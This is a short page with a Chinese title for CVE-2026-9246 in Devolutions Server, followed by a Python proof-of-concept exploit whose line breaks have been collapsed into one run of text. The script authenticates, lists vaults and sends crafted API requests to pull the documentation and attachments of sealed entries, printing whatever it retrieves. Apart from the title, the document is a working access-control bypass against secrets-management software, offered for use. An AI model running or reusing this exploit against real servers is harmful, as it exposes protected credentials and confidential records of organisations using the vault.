CVE-2026-9246 Devolutions Server 不正确访问控制漏洞

# CVE-2026-9246 PoC - Devolutions Server Improper Access Control # This PoC demonstrates accessing sealed entry documentation via crafted API request import requests import json # Configuration TARGET_URL = "https://target-server/api" USERNAME = "[email protected]" PASSWORD = "password123" SEALED_ENTRY_ID = "sealed-entry-uuid-here" def exploit_cve_2026_9246(): """ Exploit for CVE-2026-9246: Improper access control in Devolutions Server Allows authenticated users with vault read access to retrieve documentation and attachments of sealed entries via crafted API requests. """ # Step 1: Authenticate and obtain session token login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False token = response.json().get('token') print(f"[+] Authentication successful, token obtained") # Step 2: Get vault ID with read access vaults_url = f"{TARGET_URL}/vaults" headers = {"Authorization": f"Bearer {token}"} vaults_response = session.get(vaults_url, headers=headers) if vaults_response.status_code != 200: print(f"[-] Failed to retrieve vaults") return False vault_id = vaults_response.json()[0]['id'] print(f"[+] Obtained vault ID: {vault_id}") # Step 3: Exploit - Access sealed entry documentation via crafted request # This is the vulnerable endpoint that should reject access to sealed entries exploit_url = f"{TARGET_URL}/vaults/{vault_id}/entries/{SEALED_ENTRY_ID}/documentation" exploit_response = session.get(exploit_url, headers=headers) if exploit_response.status_code == 200: documentation = exploit_response.json() print(f"[!] VULNERABLE: Successfully accessed sealed entry documentation") print(f"[+] Documentation content: {json.dumps(documentation, indent=2)}") # Step 4: Also attempt to access sealed entry attachments attachments_url = f"{TARGET_URL}/vaults/{vault_id}/entries/{SEALED_ENTRY_ID}/attachments" attachments_response = session.get(attachments_url, headers=headers) if attachments_response.status_code == 200: attachments = attachments_response.json() print(f"[!] VULNERABLE: Successfully accessed sealed entry attachments") print(f"[+] Attachments: {json.dumps(attachments, indent=2)}") return True else: print(f"[-] Target may be patched or entry is not sealed") return False if __name__ == "__main__": print("CVE-2026-9246 PoC - Devolutions Server Access Control Bypass") print("=" * 60) exploit_cve_2026_9246()